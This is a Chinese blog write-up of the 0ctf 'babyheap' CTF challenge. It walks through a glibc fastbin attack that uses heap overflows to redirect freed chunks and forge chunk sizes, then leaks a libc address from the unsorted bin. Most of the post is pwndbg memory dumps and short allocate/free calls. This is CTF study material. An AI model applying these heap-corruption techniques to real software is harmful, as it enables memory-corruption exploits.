Fork me on GitHub

0ctfbabyheap

1570201109766

被0ctf的这道题目搞了好久。记录一下

思路是使用fastbin attack,how2heap上有一个栗子可以分析一下

先申请5个chunk,free之后使得 fastbin[0]->idx1->idx2->NULL

1
2
3
4
5
6
7
8
allocate(0x10)  # idx 0, 0x00
allocate(0x10) # idx 1, 0x20
allocate(0x10) # idx 2, 0x40
allocate(0x10) # idx 3, 0x60
allocate(0x80) # idx 4, 0x80
# free idx 1, 2, fastbin[0]->idx1->idx2->NULL
free(2)
free(1)

此时的bins

1
2
3
4
5
6
7
8
9
10
pwndbg> bins
fastbins
0x20: 0x5619d93ea020 —▸ 0x5619d93ea040 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x/40gx 0x5619d93ea000
0x5619d93ea000: 0x0000000000000000 0x0000000000000021 --->idx0
0x5619d93ea010: 0x0000000000000000 0x0000000000000000
0x5619d93ea020: 0x0000000000000000 0x0000000000000021 --->idx1
0x5619d93ea030: 0x00005619d93ea040 0x0000000000000000
0x5619d93ea040: 0x0000000000000000 0x0000000000000021 --->idx2
0x5619d93ea050: 0x0000000000000000 0x0000000000000000
0x5619d93ea060: 0x0000000000000000 0x0000000000000021 --->idx3
0x5619d93ea070: 0x0000000000000000 0x0000000000000000
0x5619d93ea080: 0x0000000000000000 0x0000000000000091 --->idx4
0x5619d93ea090: 0x0000000000000000 0x0000000000000000
0x5619d93ea0a0: 0x0000000000000000 0x0000000000000000
0x5619d93ea0b0: 0x0000000000000000 0x0000000000000000
0x5619d93ea0c0: 0x0000000000000000 0x0000000000000000
0x5619d93ea0d0: 0x0000000000000000 0x0000000000000000
0x5619d93ea0e0: 0x0000000000000000 0x0000000000000000
0x5619d93ea0f0: 0x0000000000000000 0x0000000000000000
0x5619d93ea100: 0x0000000000000000 0x0000000000000000
0x5619d93ea110: 0x0000000000000000 0x0000000000020ef1
0x5619d93ea120: 0x0000000000000000 0x0000000000000000

然后我们修改idx2的指针,通过fill idx0造成溢出,同时由于内存对齐,可以肯定idx4的指针最后肯定是0x80

修改后如下:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/40gx 0x560e5e91c000
0x560e5e91c000: 0x0000000000000000 0x0000000000000021 --->idx0
0x560e5e91c010: 0x6161616161616161 0x6161616161616161
0x560e5e91c020: 0x0000000000000000 0x0000000000000021 --->idx1
0x560e5e91c030: 0x0000560e5e91c080 0x0000000000000000
0x560e5e91c040: 0x0000000000000000 0x0000000000000021 --->idx2
0x560e5e91c050: 0x0000000000000000 0x0000000000000000
0x560e5e91c060: 0x0000000000000000 0x0000000000000021 --->idx3
0x560e5e91c070: 0x0000000000000000 0x0000000000000000
0x560e5e91c080: 0x0000000000000000 0x0000000000000091 --->idx4
0x560e5e91c090: 0x0000000000000000 0x0000000000000000

此时的bins指向:

1
2
3
4
5
6
pwndbg> bins
fastbins
0x20: 0x560e5e91c020 —▸ 0x560e5e91c080 ◂— 0x0 (idx2-->idx4)
0x30: 0x0
0x40: 0x0
0x50: 0x0

如果再连续申请两个chunk,那么第一次是idx2,第二次就是idx4
但是malloc有一个check机制,如果两个fastbin的大小不一样就会报错,所以我们再借用一下idx3,让其溢出到idx4,修改idx4的大小

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/40gx 0x5573e66cd000 
0x5573e66cd000: 0x0000000000000000 0x0000000000000021 --->idx0
0x5573e66cd010: 0x6161616161616161 0x6161616161616161
0x5573e66cd020: 0x0000000000000000 0x0000000000000021 --->idx1
0x5573e66cd030: 0x00005573e66cd080 0x0000000000000000
0x5573e66cd040: 0x0000000000000000 0x0000000000000021 --->idx2
0x5573e66cd050: 0x0000000000000000 0x0000000000000000
0x5573e66cd060: 0x0000000000000000 0x0000000000000021 --->idx3
0x5573e66cd070: 0x6161616161616161 0x6161616161616161
0x5573e66cd080: 0x0000000000000000 0x0000000000000021 --->idx4
0x5573e66cd090: 0x0000000000000000 0x0000000000000000

此时idx4的大小已经被修改了,于是可以申请了

1
2
allocate(0x10)  # idx 1
allocate(0x10) # idx 2, which point to idx4's location

之后,如果我们想要将 idx 4 放到 unsorted bin 中的话,先需要把它的大小改回来,同时为了防止其与 top chunk 合并,我们需要再次申请一个 chunk。此后再释放 idx4 就会进入 unsorted bin 中去了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/40gx 0x559b5b9a5000
0x559b5b9a5000: 0x0000000000000000 0x0000000000000021 --->idx0
0x559b5b9a5010: 0x6161616161616161 0x6161616161616161
0x559b5b9a5020: 0x0000000000000000 0x0000000000000021 --->idx1
0x559b5b9a5030: 0x0000000000000000 0x0000000000000000
0x559b5b9a5040: 0x0000000000000000 0x0000000000000021 --->idx2
0x559b5b9a5050: 0x0000000000000000 0x0000000000000000
0x559b5b9a5060: 0x0000000000000000 0x0000000000000021 --->idx3
0x559b5b9a5070: 0x6161616161616161 0x6161616161616161
0x559b5b9a5080: 0x0000000000000000 0x0000000000000091 --->idx4
0x559b5b9a5090: 0x00007fa9e254eb78 0x00007fa9e254eb78
0x559b5b9a50a0: 0x0000000000000000 0x0000000000000000
0x559b5b9a50b0: 0x0000000000000000 0x0000000000000000
0x559b5b9a50c0: 0x0000000000000000 0x0000000000000000

此时dump(2)就可以得到unsorted bin 的地址了。

此时的bins如下

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x559b5b9a5080 —▸ 0x7fa9e254eb78 (main_arena+88) ◂— 0x559b5b9a5080
smallbins